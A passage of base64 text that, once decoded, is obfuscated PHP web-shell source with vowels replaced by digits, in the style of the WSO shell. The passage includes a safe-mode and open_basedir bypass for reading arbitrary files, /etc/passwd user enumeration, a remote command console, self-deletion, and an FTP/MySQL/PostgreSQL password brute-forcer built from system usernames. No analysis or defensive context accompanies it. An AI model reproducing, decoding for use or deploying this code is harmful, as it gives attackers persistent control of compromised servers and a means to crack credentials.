2J10sJHQ0bTUsJHQ0bTUpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvZTZhOyYjb2VvZTsmI29lMHU7JiNvZTZ1OyYjb2VhNjsmI29lb3U7JiNvZTB1OyAhJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICcmI29ldTg7JiNvaThlOyYjb2VpNzsmI29lb3U7JiNvZTBlOyYjb2VvODsmI29pOTY7ICEnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgNWNoMiAnJiNvZWE2OyYjb2VpNzsmI29lNjc7JiNvZXU4OyYjb2VhNzsmI29lYTY7JiNvZWFvOyAhJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8L2Q0dj4nOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsNCiAgICAgICAgJHQ1bXA9Jyc7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgICAgICBjMXM1IDY6DQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZihAYzJweSgiYzJtcHI1c3Muemw0YjovLyIuJF9QT1NUWydwYSddLCAkdDVtcCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmNGw1X2c1dF9jMm50NW50cygkdDVtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvaThlOyYjb2VhOTsmI29lYTk7JiNvZTZlOyYjb2VvbzsmI29lNjg7ICEhIC4uICYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2VhZTsmI29lb3U7JiNvZTY3OyYjb2VvdTsmI29lNjk7JiNvZTBlOyYjb2V1ODsmI29lNjY7JiNvZW9lOyYjb2UwdTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZWlhOyYjb2UwdTsmI29laTc7ICEnOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSBhOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVzID0gZ2wyYigkX1BPU1RbJ3BhJ10uJyonKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkZjRsNXMpICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJGY0bDVzIDFzICRmNGw1bjFtNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICRmNGw1bjFtNS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1IHU6DQogICAgICAgICAgICAgICAgICAgICAgICA0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQogICAgICAgICAgICAgICAgICAgICAgICA0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQogICAgICAgICAgICAgICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1IGk6DQogICAgICAgICAgICAgICAgICAgICAgICBmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICAkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj5TMWY1IG0yZDUgYnlwMXNzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICAgICAgNWNoMiAnPHNwMW4+QzJweSAoJiNvZWE5OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDspPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIjYiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5HbDJiICgmI29lNjk7JiNvZW91OyYjb2U2ODsmI29pOXU7JiNvZW85OyYjb2VpZTsmI29lYTk7JiNvZXU5OyYjb2U2aTsmI29laTc7JiNvZTY3Oyk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiYSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkMzcmwgKCYjb2VhOTsmI29laWU7JiNvZW91OyYjb2UwOTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKCYjb2VhOTsmI29laWU7JiNvZW91OyYjb2UwOTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJ1Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+UDJzNHhfZzV0cHczNGQgKCImI29lYTk7JiNvZWllOyYjb2VvdTsmI29lMDk7IiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPiYjb2UwZTsmI29lbzg7JiNvaTk2OzwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgNGYoJHQ1bXApDQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQogICAgICAgIDVjaDIgJzwvZDR2Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1Ow0KICAgICAgICAkX1BPU1RbJ3A2J10gLj0gJyBhPiY2JzsNCiAgICB9IDVsczU0ZighNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsNCiANCiAgICAgICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KICAgICAgICAgICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgICAgICAgICAgNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KICAgICAgICAgICAgICAgICR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KICAgICAgICAgICAgICAgIDRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQogICAgICAgICAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7DQogICAgICAgICAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgICAgICAgICA1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KICAgICAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0NCiAgICAgICAgQk9GRkg1MWQ1cigpOw0KICAgIDVjaDIgIjxzY3I0cHQ+DQo0Zih3NG5kMncuRXY1bnQpIHc0bmQydy5jMXB0M3I1RXY1bnRzKEV2NW50LktFWURPV04pOw0KdjFyIGNtZHMgPSBuNXcgQXJyMXkoJycpOw0KdjFyIGMzciA9IDA7DQpmM25jdDQybiBrcCg1KSB7DQogICAgICAgIHYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KICAgICAgICA0ZihuID09IG84KSB7DQogICAgICAgICAgICAgICAgYzNyLS07DQogICAgICAgICAgICAgICAgNGYoYzNyPj0wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzcisrOw0KICAgICAgICB9IDVsczUgNGYobiA9PSB1MCkgew0KICAgICAgICAgICAgICAgIGMzcisrOw0KICAgICAgICAgICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzci0tOw0KICAgICAgICB9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQogICAgICAgIGNtZHMucDJwKCk7DQogICAgICAgIGNtZHMucDNzaChjbWQpOw0KICAgICAgICBjbWRzLnAzc2goJycpOw0KICAgICAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCiAgICAgICAgNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkLmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkLmNmLjIzdHAzdC52MWwzNT1cJ1wnO2QuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IHI1dDNybiBmMWxzNTsiPjxzNWw1Y3QgbjFtNT0xbDQxcz4nOw0KICAgICAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgICAgICAgICA0ZigkdiA9PSAnJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPDJwdGdyMjNwIGwxYjVsPSItJy5odG1sc3A1YzQxbGNoMXJzKCRuKS4nLSI+PC8ycHRncjIzcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgICAgIDVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiAmI29lYWU7JiNvZWllOyYjb2k5NjsmI29pODg7JiNvZWllOyYjb2VvdTsmI29pOGk7JiNvZW91OyYjb2U2OTsmI29laTY7JiNvaTl1OyYjb2VpNzsgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddPydjaDVjazVkJzonJykuJz4gcjVkNHI1Y3Qgc3RkNXJyIHQyIHN0ZDIzdCAoYT4mNik8L24yYnI+PGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCiAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi5CT0ZGRXgoJF9QT1NUWydwNiddKSk7DQogICAgICAgIH0NCiAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48dDFibDUgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgI2RmaTtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyLXQycDowcHg7IiBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgdzRkdGg9IjYwMCUiPjx0cj48dGQgdzRkdGg9IjYlIj4kPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjBweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KICAgICAgICA1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kLmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkwyZzIzdCgpIHsNCiAgICBzNXNzNDJuX2Q1c3RyMnkoKTsNCiAgICAgICAgZDQ1KCcmI29lYTY7JiNvZW91OyYjb2k4aTsmI29laWU7JiNvZWE5OyYjb2UwOTsgIScpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCiAgICAgICANCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KICAgICAgICAgICAgICAgIDRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoJyYjb2VhNjsmI29lNjA7IFNoNWxsICYjb2V1OTsmI29lYTY7JiNvZWk3OyYjb2VhbzsgIScpOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJyYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2U2NzsmI29lbzc7JiNvZWE2OyYjb2VvZTsmI29pOTY7JiNvaTg4OyYjb2VlMDsgISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29pODg7JiNvZW9pOyYjb2V1ODsmI29lMGk7JiNvZW85OyYjb2VhOTsmI29lMDk7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JiNvZXU5OyYjb2UwOTsmI29laWU7JiNvZWk2OyYjb2k5YTsmI29laWE7JiNvZWE3OyYjb2U2NzsmI29lYW87JiNvZWllOyYjb2VvdTsmI29pODg7JiNvZXUwOyYjb2UwbzsmI29lMGk7JiNvZWk3OyYjb2VhOTsmI29pOTY7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWE2OyYjb2U2MDsgRXh0cjUxbSAtIFNoNWxsID88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj4mI29laTY7JiNvaTl1OyYjb2VpZTs8LzE+PC9kNHY+JzsNCiAgICAgICAgQk9GRkYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsNCiAgICAgICAgQk9GRkg1MWQ1cigpOw0KICAgICAgICA0ZiggNHNzNXQoJF9QT1NUWydwcjJ0MiddKSApIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8aDY+JiNvZXU5OyYjb2VhZTsmI29lMHU7JiNvaTk2OyYjb2U2YTsmI29lYTY7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+JiNvZTY5OyYjb2V1NjsmI29lNjY7JiNvZXU5OyYjb2U2MDsmI29lNjA7Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj4mI29ldTg7JiNvaTlpOyYjb2VvZTsmI29lNmk7JiNvZXU4OyYjb2VhbzsmI29laWU7JiNvZWE5OyYjb2U2OTsmI29lZTA7Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgICAgICAgICA0ZiggJF9QT1NUWydwcjJ0MiddID09ICdmdHAnICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoISRmcCkgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcjVzID0gQGZ0cF9sMmc0bigkZnAsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkcjVzOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQG15c3FsX2NsMnM1KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyNXMgPSBAcGdfYzJubjVjdCgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBnX2NsMnM1KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHMzY2M1c3MgPSAwOw0KICAgICAgICAgICAgICAgICQxdHQ1bXB0cyA9IDA7DQogICAgICAgICAgICAgICAgJHM1cnY1ciA9IDV4cGwyZDUoIjoiLCAkX1BPU1RbJ3M1cnY1ciddKTsNCiAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIDRzXzFycjF5KCR0NW1wKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkbDRuNVswXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbDRuNVswXVskNF07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyQxdHQ1bXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfUE9TVFsndHlwNSddID09IGEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIDRzXzFycjF5KCR0NW1wKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IHRyNG0oJGw0bjUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsr